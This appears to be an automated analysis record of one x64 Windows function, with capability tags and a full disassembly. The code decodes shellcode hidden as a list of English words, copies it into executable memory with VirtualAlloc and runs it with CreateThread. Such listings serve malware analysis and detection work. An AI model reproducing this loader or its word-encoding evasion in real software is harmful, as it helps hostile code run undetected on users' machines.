Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f30]
mov eax, 0x2030
call fcn.1400033c0
sub rsp, rax
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x1f20], rax
lea rdi, str.readers
lea rbx, str.dispatch
mov qword [rsp + 0x38], rdi
lea r13, str.pentium
mov qword [rbp - 0x58], rdi
lea r12, str.closest
mov qword [rbp - 0x50], rbx
lea rax, str.pearl
mov qword [rbp - 0x38], rdi
mov qword [rsp + 0x30], rax
lea rsi, str.review
lea rax, str.marco
mov qword [rbp - 0x10], rdi
mov qword [rsp + 0x40], rax
lea rdx, str.academics
lea rax, str.dublin
mov qword [rbp + 0x18], rdi
mov qword [rsp + 0x48], rax
lea r8, str.hindu
lea rax, str.widescreen
mov qword [rbp + 0x40], rbx
mov qword [rsp + 0x50], rax
lea r11, str.bloggers
lea rax, str.accredited
mov qword [rbp + 0x50], rdi
mov qword [rsp + 0x58], rax
lea r9, str.reasonable
lea rax, str.diego
mov qword [rbp + 0x78], rdi
mov qword [rsp + 0x60], rax
lea r10, str.ethiopia
lea rax, str.vision
mov qword [rbp + 0x98], rdi
mov qword [rsp + 0x68], rax
lea rcx, str.struct
mov qword [rsp + 0x70], rax
lea rdi, str.renewal
mov qword [rsp + 0x78], rax
lea rax, str.holdings
mov qword [rbp - 0x48], rax
lea rax, str.shadows
mov qword [rbp - 0x40], rax
lea rax, str.logged
mov qword [rbp - 0x20], rax
lea rax, str.researcher
mov qword [rbp + 0x10], rax
lea rax, str.webpage
mov qword [rbp + 0x38], rax
lea rax, str.socks
mov qword [rbp + 0x58], rax
lea rax, str.occupation
mov qword [rbp + 0x60], rax
lea rax, str.exploring
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x70], rax
lea rax, str.eagles
mov qword [rbp + 0xa8], rax
lea rax, str.toolbox
mov qword [rbp + 0xa0], rbx
lea rbx, str.theories
mov qword [rbp + 0xc0], rax
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rdx
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], r8
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x18], rdx
mov qword [rbp - 8], r12
mov qword [rbp], r13
mov qword [rbp + 8], r11
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], r9
mov qword [rbp + 0x48], r10
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], rcx
mov qword [rbp + 0x90], r8
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], rdi
lea rax, str.competitions
mov qword [rbp + 0xf8], r10
mov qword [rbp + 0xc8], rax
lea r14, str.topics
lea r10, str.chairs
mov qword [rbp + 0x140], rdx
lea rdx, str.readers
mov qword [rbp + 0x1d8], rcx
lea rcx, str.vision
mov qword [rbp + 0xd0], r14
lea rax, str.trash
mov qword [rbp + 0xe0], r9
mov qword [rbp + 0xd8], rax
lea r15, str.worcester
lea rax, str.while
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0x120], rax
lea r8, str.hypothesis
lea rax, str.sufficiently
mov qword [rbp + 0x108], rsi
mov qword [rbp + 0x128], rax
lea rax, str.coach
mov qword [rbp + 0x170], rax
lea rax, str.output
mov qword [rbp + 0x1a8], rax
lea rax, str.provinces
mov qword [rbp + 0x1b8], rax
lea rax, str.socks
mov qword [rbp + 0x1c8], rax
lea rax, str.hundred
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x230], rax
lea rax, str.mention
mov qword [rbp + 0x240], rax
lea rax, str.joining
mov qword [rbp + 0x248], rax
lea rax, str.chairs
mov qword [rbp + 0x258], rax
lea rax, str.hindu
mov qword [rbp + 0x110], r10
mov qword [rbp + 0x138], rsi
lea rsi, str.postings
mov qword [rbp + 0x148], rdx
mov qword [rbp + 0x160], r9
lea r9, str.barbados
mov qword [rbp + 0x178], rdi
lea rdi, str.sealed
mov qword [rbp + 0x180], rdx
mov qword [rbp + 0x188], r10
lea r10, str.rising
mov qword [rbp + 0x1c0], r14
lea r14, str.compare
mov qword [rbp + 0x1e0], rcx
mov qword [rbp + 0x1e8], rcx
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x210], rcx
mov qword [rbp + 0x218], rcx
mov qword [rbp + 0x220], rcx
lea rcx, str.eagles
mov qword [rbp + 0x228], rdx
mov qword [rbp + 0x250], rdx
lea rdx, str.accounting
mov qword [rbp + 0x268], rax
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0x100], r8
mov qword [rbp + 0x118], r15
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], r13
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x198], r10
mov qword [rbp + 0x1a0], rsi
mov qword [rbp + 0x1b0], r11
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x208], r9
mov qword [rbp + 0x238], rcx
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x270], rdx
mov qword [rbp + 0x278], r12
lea rax, str.resume
mov qword [rbp + 0x2a0], r11
mov qword [rbp + 0x280], rax
lea r11, str.ethiopia
lea rax, str.reasonable
mov qword [rbp + 0x2e0], r11
mov qword [rbp + 0x288], rax
lea rax, str.readers
mov qword [rbp + 0x298], rax
lea rax, str.fallen
mov qword [rbp + 0x2a8], rax
lea rax, str.chairs
mov qword [rbp + 0x2b0], rax
lea rax, str.wikipedia
mov qword [rbp + 0x2c0], rax
lea rax, str.researcher
mov qword [rbp + 0x2c8], rax
lea rax, str.webpage
mov qword [rbp + 0x2d0], rax
lea rax, str.dispatch
mov qword [rbp + 0x2d8], rax
lea rax, str.readers
mov qword [rbp + 0x2e8], rax
lea rax, str.ethernet
mov qword [rbp + 0x2f0], rax
lea rax, str.review
mov qword [rbp + 0x300], rax
lea rax, str.variables
mov qword [rbp + 0x310], rax
lea rax, str.readers
mov qword [rbp + 0x320], rax
lea rax, str.chairs
mov qword [rbp + 0x328], rax
lea rax, str.codes
mov qword [rbp + 0x330], rax
lea rax, str.readers
mov qword [rbp + 0x338], rax
lea rax, str.dispatch
mov qword [rbp + 0x340], rax
lea rax, str.review
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x378], rax
lea rax, str.chairs
mov qword [rbp + 0x380], rax
lea rax, str.elections
mov qword [rbp + 0x390], rax
lea rax, str.meditation
mov qword [rbp + 0x3b8], rax
lea rax, str.crops
mov qword [rbp + 0x3d0], rax
lea rax, str.personalized
mov qword [rbp + 0x3d8], rax
lea rax, str.negotiations
mov qword [rbp + 0x3e0], rax
lea rax, str.presentations
mov qword [rbp + 0x3e8], rax
lea rax, str.disks
mov qword [rbp + 0x2f8], r11
mov qword [rbp + 0x348], rcx
lea rcx, str.earning
mov qword [rbp + 0x358], r15
mov qword [rbp + 0x360], r11
lea r11, str.ratio
mov qword [rbp + 0x368], r8
lea r8, str.oriented
mov qword [rbp + 0x370], rbx
lea rbx, str.findarticles
mov qword [rbp + 0x388], r15
lea r15, str.interface
mov qword [rbp + 0x3f8], rax
mov qword [rbp + 0x290], r12
mov qword [rbp + 0x2b8], rdi
mov qword [rbp + 0x308], r12
mov qword [rbp + 0x318], r9
mov qword [rbp + 0x398], r11
mov qword [rbp + 0x3a0], r15
mov qword [rbp + 0x3a8], r8
mov qword [rbp + 0x3b0], rbx
mov qword [rbp + 0x3c0], rbx
mov qword [rbp + 0x3c8], rcx
mov qword [rbp + 0x3f0], r15
mov qword [rbp + 0x408], rdx
lea r15, str.resume
mov qword [rbp + 0x468], rdx
lea rax, str.sheet
mov qword [rbp + 0x400], rax
lea rdx, str.chairs
mov qword [rbp + 0x490], rdx
lea rax, str.chairs
mov qword [rbp + 0x430], rax
lea rax, str.appeal
mov qword [rbp + 0x458], rax
lea rax, str.readers
mov qword [rbp + 0x460], rax
lea rax, str.induction
mov qword [rbp + 0x480], rax
lea rax, str.lifestyle
mov qword [rbp + 0x4e0], rax
lea rax, str.readers
mov qword [rbp + 0x4e8], rax
lea rax, str.phase
mov qword [rbp + 0x4f0], rdx
lea rdx, str.readers
mov qword [rbp + 0x508], rax
mov qword [rbp + 0x538], rax
mov qword [rbp + 0x598], rax
lea rax, str.readers
mov qword [rbp + 0x540], rdx
lea rdx, str.marco
mov qword [rbp + 0x5a0], rax
lea rax, str.stewart
mov qword [rbp + 0x420], rcx
lea rcx, str.fallen
mov qword [rbp + 0x440], r10
lea r10, str.review
mov qword [rbp + 0x548], rdx
lea rdx, str.reasonable
mov qword [rbp + 0x5b0], rax
lea rax, str.dating
mov qword [rbp + 0x418], r15
mov qword [rbp + 0x428], rcx
mov qword [rbp + 0x438], rdi
mov qword [rbp + 0x448], r10
mov qword [rbp + 0x478], r15
lea r15, str.piano
mov qword [rbp + 0x488], rcx
lea rcx, str.sheet
mov qword [rbp + 0x498], rdi
mov qword [rbp + 0x4a0], r10
mov qword [rbp + 0x4b8], r9
lea r9, str.eight
mov qword [rbp + 0x4c0], r10
mov qword [rbp + 0x4d0], r10
mov qword [rbp + 0x4f8], rdi
lea rdi, str.review
mov qword [rbp + 0x510], r10
mov qword [rbp + 0x520], r10
mov qword [rbp + 0x530], r10
lea r10, str.suffer
mov qword [rbp + 0x558], rdx
lea rdx, str.ethernet
mov qword [rbp + 0x5b8], rax
lea rax, str.vampire
mov qword [rbp + 0x410], r12
mov qword [rbp + 0x450], r12
mov qword [rbp + 0x470], r12
mov qword [rbp + 0x4a8], r12
mov qword [rbp + 0x4b0], r15
mov qword [rbp + 0x4c8], rcx
mov qword [rbp + 0x4d8], rcx
mov qword [rbp + 0x500], r9
mov qword [rbp + 0x518], rcx
mov qword [rbp + 0x528], r9
mov qword [rbp + 0x550], r10
mov qword [rbp + 0x560], rdi
mov qword [rbp + 0x568], r13
mov qword [rbp + 0x570], rdx
mov qword [rbp + 0x578], r11
mov qword [rbp + 0x580], rcx
mov qword [rbp + 0x588], rdi
mov qword [rbp + 0x590], r9
mov qword [rbp + 0x5a8], r12
mov qword [rbp + 0x5c0], rax
lea r13, str.hotmail
lea rax, str.islands
mov qword [rbp + 0x668], rsi
mov qword [rbp + 0x5e0], rax
lea rsi, str.vision
lea rax, str.fallen
mov qword [rbp + 0x638], rdi
mov qword [rbp + 0x5e8], rax
lea rcx, str.objectives
lea rax, str.patch
mov qword [rbp + 0x608], rcx
mov qword [rbp + 0x5f0], rax
lea r12, str.ethernet
lea rax, str.womens
mov qword [rbp + 0x620], rcx
mov qword [rbp + 0x600], rax
lea rcx, str.fallen
lea rax, str.outlined
mov qword [rbp + 0x688], rsi
mov qword [rbp + 0x610], rax
lea rdx, str.plans
lea rax, str.butterfly
mov qword [rbp + 0x690], rsi
mov qword [rbp + 0x618], rax
lea rdi, str.assisted
lea rax, str.vision
mov qword [rbp + 0x6c8], rsi
mov qword [rbp + 0x628], rax
lea rsi, str.review
mov qword [rbp + 0x630], rax
lea rax, str.researcher
mov qword [rbp + 0x640], rax
lea rax, str.allow
mov qword [rbp + 0x658], rax
lea rax, str.readers
mov qword [rbp + 0x660], rax
lea rax, str.notion
mov qword [rbp + 0x678], rax
lea rax, str.chairs
mov qword [rbp + 0x680], rax
lea rax, str.spread
mov qword [rbp + 0x6b8], rax
lea rax, str.topics
mov qword [rbp + 0x6c0], rax
lea rax, str.rabbit
mov qword [rbp + 0x6d0], rax
lea rax, str.interests
mov qword [rbp + 0x6d8], rax
lea rax, str.eagles
mov qword [rbp + 0x6e0], rax
lea rax, str.profession
mov qword [rbp + 0x6e8], rax
lea rax, str.wanna
mov qword [rbp + 0x6f0], rax
lea rax, str.promise
mov qword [rbp + 0x708], rax
lea rax, str.dublin
mov qword [rbp + 0x738], r8
lea r8, str.panic
mov qword [rbp + 0x720], rax
mov qword [rbp + 0x5c8], r12
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], r12
mov qword [rbp + 0x5f8], rdx
mov qword [rbp + 0x648], rcx
mov qword [rbp + 0x650], r13
mov qword [rbp + 0x670], r10
mov qword [rbp + 0x698], rcx
mov qword [rbp + 0x6a0], r13
mov qword [rbp + 0x6a8], rdi
mov qword [rbp + 0x6b0], rcx
mov qword [rbp + 0x6f8], r14
mov qword [rbp + 0x700], rsi
mov qword [rbp + 0x710], rcx
mov qword [rbp + 0x718], r13
mov qword [rbp + 0x728], rbx
mov qword [rbp + 0x730], r13
mov qword [rbp + 0x740], rsi
mov qword [rbp + 0x748], r8
mov qword [rbp + 0x750], rbx
lea rax, str.gateway
mov qword [rbp + 0x7e0], r14
mov qword [rbp + 0x760], rax
lea r14, str.dispatch
lea rax, str.kinds
mov qword [rbp + 0x758], rdx
mov qword [rbp + 0x768], rax
lea rdx, str.effectively
lea rax, str.chairs
mov qword [rbp + 0x770], r12
mov qword [rbp + 0x7a0], rax
lea rcx, str.smith
mov qword [rbp + 0x7a8], rax
lea rsi, str.publicity
lea rax, str.vision
mov qword [rbp + 0x7f8], r12
mov qword [rbp + 0x7b0], rax
mov qword [rbp + 0x7b8], rax
lea rax, str.review
mov qword [rbp + 0x7c8], rax
lea rax, str.headphones
mov qword [rbp + 0x7d8], rax
lea rax, str.sunny
mov qword [rbp + 0x7e8], rax
lea rax, str.vision
mov qword [rbp + 0x7f0], rax
lea rax, str.review
mov qword [rbp + 0x818], rax
lea rax, str.lifestyle
mov qword [rbp + 0x820], rax
lea rax, str.hindu
mov qword [rbp + 0x828], rax
mov qword [rbp + 0x830], rax
lea rax, str.webpage
mov qword [rbp + 0x838], rax
lea rax, str.ethiopia
mov qword [rbp + 0x848], rax
lea rax, str.webpage
mov qword [rbp + 0x850], rax
lea rax, str.eagles
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x878], rax
mov qword [rbp + 0x8a8], rax
lea rax, str.readers
mov qword [rbp + 0x8b0], rax
lea rax, str.worcester
mov qword [rbp + 0x8c0], rax
lea rax, str.socks
mov qword [rbp + 0x840], r14
mov qword [rbp + 0x858], r14
lea r14, str.readers
mov qword [rbp + 0x870], r12
lea r12, str.adequate
mov qword [rbp + 0x8e0], rax
lea rax, str.distributions
mov qword [rbp + 0x778], rdx
mov qword [rbp + 0x7c0], r9
lea r9, str.tattoo
mov qword [rbp + 0x800], rdx
lea rdx, str.divide
mov qword [rbp + 0x868], r14
mov qword [rbp + 0x880], r14
mov qword [rbp + 0x890], r12
lea r12, str.review
mov qword [rbp + 0x898], r14
lea r14, str.ethernet
mov qword [rbp + 0x8e8], rax
mov qword [rbp + 0x780], rbx
mov qword [rbp + 0x788], r13
mov qword [rbp + 0x790], rcx
mov qword [rbp + 0x798], rsi
mov qword [rbp + 0x7d0], r8
mov qword [rbp + 0x808], r9
mov qword [rbp + 0x810], rdx
mov qword [rbp + 0x888], r13
mov qword [rbp + 0x8a0], r14
mov qword [rbp + 0x8b8], r13
mov qword [rbp + 0x8c8], r12
mov qword [rbp + 0x8d0], r8
mov qword [rbp + 0x8d8], rcx
mov qword [rbp + 0x8f0], r11
mov qword [rbp + 0x940], rbx
lea rax, str.sheet
mov qword [rbp + 0x938], rax
lea r11, str.readers
lea rax, str.while
mov qword [rbp + 0x8f8], r14
mov qword [rbp + 0x950], rax
lea rbx, str.toolbox
mov qword [rbp + 0x998], rbx
lea rax, str.extreme
mov qword [rbp + 0x980], rax
lea rbx, str.ethernet
mov qword [rbp + 0x9a0], rbx
lea rax, str.kennedy
mov qword [rbp + 0x988], rax
lea rbx, str.hundred
lea rax, str.mention
mov qword [rbp + 0x9b0], rbx
mov qword [rbp + 0x990], rax
lea rbx, str.eagles
mov qword [rbp + 0x9c0], rax
lea rcx, str.effectively
lea rax, str.fallen
mov qword [rbp + 0x9b8], rbx
mov qword [rbp + 0x9d0], rax
lea rbx, str.retired
lea rax, str.ethernet
mov qword [rbp + 0x908], r11
mov qword [rbp + 0x9d8], rax
lea r14, str.calcium
lea rax, str.interface
mov qword [rbp + 0x920], r9
mov qword [rbp + 0x9e8], rax
lea r9, str.joshua
lea rax, str.accredited
mov qword [rbp + 0x930], r12
mov qword [rbp + 0x9f8], rax
lea rax, str.pilot
mov qword [rbp + 0xa00], rax
lea rax, str.vision
mov qword [rbp + 0xa08], rax
mov qword [rbp + 0xa10], rax
mov qword [rbp + 0xa18], rax
lea rax, str.while
mov qword [rbp + 0xa50], rax
lea rax, str.webpage
mov qword [rbp + 0xa58], rax
lea rax, str.ethiopia
mov qword [rbp + 0xa68], rax
lea rax, str.tattoo
mov qword [rbp + 0xa70], rax
lea rax, str.sheet
mov qword [rbp + 0x958], r11
lea r11, str.corrections
mov qword [rbp + 0x970], r12
lea r12, str.dispatch
mov qword [rbp + 0x9c8], rdx
lea rdx, str.readers
mov qword [rbp + 0x9e0], rbx
lea rbx, str.marco
mov qword [rbp + 0xa78], r15
lea r15, str.review
mov qword [rbp + 0xa88], rax
mov qword [rbp + 0x900], rcx
mov qword [rbp + 0x910], r13
mov qword [rbp + 0x918], r14
mov qword [rbp + 0x928], r9
mov qword [rbp + 0x948], r13
mov qword [rbp + 0x960], r13
mov qword [rbp + 0x968], r11
mov qword [rbp + 0x978], r8
mov qword [rbp + 0x9a8], rcx
mov qword [rbp + 0x9f0], rdi
mov qword [rbp + 0xa20], rdx
mov qword [rbp + 0xa28], rbx
mov qword [rbp + 0xa30], r10
mov qword [rbp + 0xa38], r9
mov qword [rbp + 0xa40], rdx
mov qword [rbp + 0xa48], r13
mov qword [rbp + 0xa60], r12
mov qword [rbp + 0xa80], r15
lea rax, str.topics
mov qword [rbp + 0xb78], r9
mov qword [rbp + 0xab8], rax
lea r9, str.sheet
lea rax, str.outlined
mov qword [rbp + 0xa90], rdx
mov qword [rbp + 0xad0], rax
lea rdx, str.sports
lea rax, str.ethernet
mov qword [rbp + 0xaa8], r15
mov qword [rbp + 0xad8], rax
lea r10, str.kitty
lea rax, str.vision
mov qword [rbp + 0xab0], r8
mov qword [rbp + 0xaf8], rax
lea r8, str.collectables
lea rax, str.newspapers
mov qword [rbp + 0xae0], rcx
mov qword [rbp + 0xb00], rax
lea rcx, str.domain
lea rax, str.acres
mov qword [rbp + 0xae8], rbx
mov qword [rbp + 0xb08], rax
lea rax, str.readers
mov qword [rbp + 0xb10], rax
lea rax, str.riding
mov qword [rbp + 0xb20], rax
lea rax, str.reasonable
mov qword [rbp + 0xb28], rax
lea rax, str.lifestyle
mov qword [rbp + 0xb30], rax
lea rax, str.tattoo
mov qword [rbp + 0xb48], rax
lea rax, str.resume
mov qword [rbp + 0xb50], rax
lea rax, str.eight
mov qword [rbp + 0xb60], rax
lea rax, str.vision
mov qword [rbp + 0xb70], rax
mov qword [rbp + 0xb80], rax
mov qword [rbp + 0xb88], rax
lea rax, str.situation
mov qword [rbp + 0xbb0], rax
lea rax, str.ethiopia
mov qword [rbp + 0xbc8], rax
lea rax, str.leslie
mov qword [rbp + 0xbe8], rax
lea rax, str.intermediate
mov qword [rbp + 0xbf0], rax
lea rax, str.ethernet
mov qword [rbp + 0xc00], rax
lea rax, str.fallen
mov qword [rbp + 0xb18], rbx
lea rbx, str.readers
mov qword [rbp + 0xb58], r15
mov qword [rbp + 0xb90], r15
mov qword [rbp + 0xb98], r9
mov qword [rbp + 0xbd0], r15
lea r15, str.panic
mov qword [rbp + 0xbe0], r9
lea r9, str.components
mov qword [rbp + 0xbf8], rdi
lea rdi, str.effectively
mov qword [rbp + 0xc28], rax
mov qword [rbp + 0xa98], r13
mov qword [rbp + 0xaa0], r11
mov qword [rbp + 0xac0], r8
mov qword [rbp + 0xac8], rdx
mov qword [rbp + 0xaf0], rcx
mov qword [rbp + 0xb38], r13
mov qword [rbp + 0xb40], r10
mov qword [rbp + 0xb68], rsi
mov qword [rbp + 0xba0], rbx
mov qword [rbp + 0xba8], r13
mov qword [rbp + 0xbb8], rbx
mov qword [rbp + 0xbc0], r12
mov qword [rbp + 0xbd8], r15
mov qword [rbp + 0xc08], rdi
mov qword [rbp + 0xc10], rbx
mov qword [rbp + 0xc18], r13
mov qword [rbp + 0xc20], r9
mov qword [rbp + 0xc58], rax
lea rbx, str.webpage
lea rax, str.widescreen
mov qword [rbp + 0xc40], rbx
mov qword [rbp + 0xc68], rax
lea rbx, str.readers
lea rax, str.manga
mov qword [rbp + 0xc48], r12
mov qword [rbp + 0xc80], rax
lea r12, str.ethiopia
lea rax, str.topics
mov qword [rbp + 0xcc0], rdx
mov qword [rbp + 0xcb0], rax
lea rdx, str.marco
lea rax, str.outlined
mov qword [rbp + 0xce8], rcx
mov qword [rbp + 0xcc8], rax
lea rcx, str.picture
lea rax, str.identifying
mov qword [rbp + 0xc30], r13
mov qword [rbp + 0xcf8], rax
lea rax, str.yours
mov qword [rbp + 0xd00], rax
lea rax, str.resume
mov qword [rbp + 0xd38], rax
lea rax, str.phase
mov qword [rbp + 0xd70], rax
lea rax, str.provinces
mov qword [rbp + 0xd88], rax
lea rax, str.studied
mov qword [rbp + 0xd90], rax
lea rax, str.socks
mov qword [rbp + 0xd98], rax
lea rax, str.variations
mov qword [rbp + 0xda0], rax
lea rax, str.chicken
mov qword [rbp + 0xc50], r12
lea r12, str.review
mov qword [rbp + 0xc60], r13
mov qword [rbp + 0xc70], rbx
mov qword [rbp + 0xc78], r13
mov qword [rbp + 0xc88], rbx
lea rbx, str.vision
mov qword [rbp + 0xc90], r13
lea r13, str.ethernet
mov qword [rbp + 0xc98], r11
lea r11, str.sheet
mov qword [rbp + 0xcb8], r8
lea r8, str.eight
mov qword [rbp + 0xce0], rdx
lea rdx, str.tattoo
mov qword [rbp + 0xd18], rcx
mov qword [rbp + 0xdb8], rcx
lea rcx, str.interface
mov qword [rbp + 0xde0], rax
lea rax, str.webpage
mov qword [rbp + 0xc38], r14
mov qword [rbp + 0xca0], r12
mov qword [rbp + 0xca8], r15
mov qword [rbp + 0xcd0], r13
mov qword [rbp + 0xcd8], rdi
mov qword [rbp + 0xcf0], rbx
mov qword [rbp + 0xd08], r11
mov qword [rbp + 0xd10], r12
mov qword [rbp + 0xd20], r8
mov qword [rbp + 0xd28], rsi
mov qword [rbp + 0xd30], rbx
mov qword [rbp + 0xd40], rbx
mov qword [rbp + 0xd48], rbx
mov qword [rbp + 0xd50], r12
mov qword [rbp + 0xd58], r11
mov qword [rbp + 0xd60], rdx
mov qword [rbp + 0xd68], rbx
mov qword [rbp + 0xd78], r12
mov qword [rbp + 0xd80], r15
mov qword [rbp + 0xda8], r13
mov qword [rbp + 0xdb0], rdi
mov qword [rbp + 0xdc0], r8
mov qword [rbp + 0xdc8], r12
mov qword [rbp + 0xdd0], r15
mov qword [rbp + 0xdd8], rcx
mov qword [rbp + 0xde8], rax
lea rbx, str.retired
lea rax, str.toolbox
mov qword [rbp + 0xe90], rcx
mov qword [rbp + 0xdf0], rax
lea rsi, str.fallen
lea rax, str.dating
mov qword [rbp + 0xec0], rdx
mov qword [rbp + 0xe20], rax
lea rcx, str.Size_of_shellcode_is__d
lea rax, str.renewal
mov qword [rbp + 0xe18], rbx
mov qword [rbp + 0xe28], rax
lea rbx, str.readers
lea rax, str.chairs
mov qword [rbp + 0xea0], r12
mov qword [rbp + 0xe50], rax
lea r12, str.adequate
lea rax, str.headphones
mov qword [rbp + 0xdf8], r13
mov qword [rbp + 0xe68], rax
mov edx, 0x1fe
lea rax, str.yahoo
mov qword [rbp + 0xe00], rdi
mov qword [rbp + 0xe70], rax
lea rax, str.hundred
mov qword [rbp + 0xe80], rax
lea rax, str.redeem
mov qword [rbp + 0xe98], rax
lea rax, str.ecommerce
mov qword [rbp + 0xeb0], rax
lea rax, str.vision
mov qword [rbp + 0xec8], rax
lea rax, str.widescreen
mov qword [rbp + 0xef0], rax
lea rax, str.determination
mov qword [rbp + 0xef8], rax
lea rax, str.rehab
mov qword [rbp + 0xf00], rax
lea rax, str.researcher
mov qword [rbp + 0xf08], rax
mov qword [rbp + 0xe08], rsi
mov qword [rbp + 0xe10], r13
mov qword [rbp + 0xe30], r13
mov qword [rbp + 0xe38], r13
mov qword [rbp + 0xe40], r13
mov qword [rbp + 0xe48], rbx
mov qword [rbp + 0xe58], r9
mov qword [rbp + 0xe60], rbx
mov qword [rbp + 0xe78], rbx
mov qword [rbp + 0xe88], r10
mov qword [rbp + 0xea8], r13
mov qword [rbp + 0xeb8], r11
mov qword [rbp + 0xed0], r8
mov qword [rbp + 0xed8], rsi
mov qword [rbp + 0xee0], r14
mov qword [rbp + 0xee8], r12
mov qword [rbp + 0xf10], r13
mov qword [rbp + 0xf18], rdi
call fcn.140001010
xor ebx, ebx
lea rdi, str.vision
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rsp + rbx*8 + 0x30]
xor eax, eax
movsxd rcx, eax
cmp qword [rdi + rcx*8], rdx
je 0x1400025fb
inc eax
cmp eax, 0xff
jle 0x1400025e7
jmp 0x140002611
movzx edx, al
lea rcx, str.x_x
mov byte [rbp + rbx + 0xf30], dl
call fcn.140001010
inc rbx
cmp rbx, 0x1fe
jl 0x1400025e0
xor ecx, ecx
mov edx, 0xff0
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdx, [rbp + 0xf30]
mov r8d, 0xff0
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0xf20]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rbp + 0x1f20]
xor rcx, rsp
call fcn.1400026c0
lea r11, [rsp + 0x2030]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret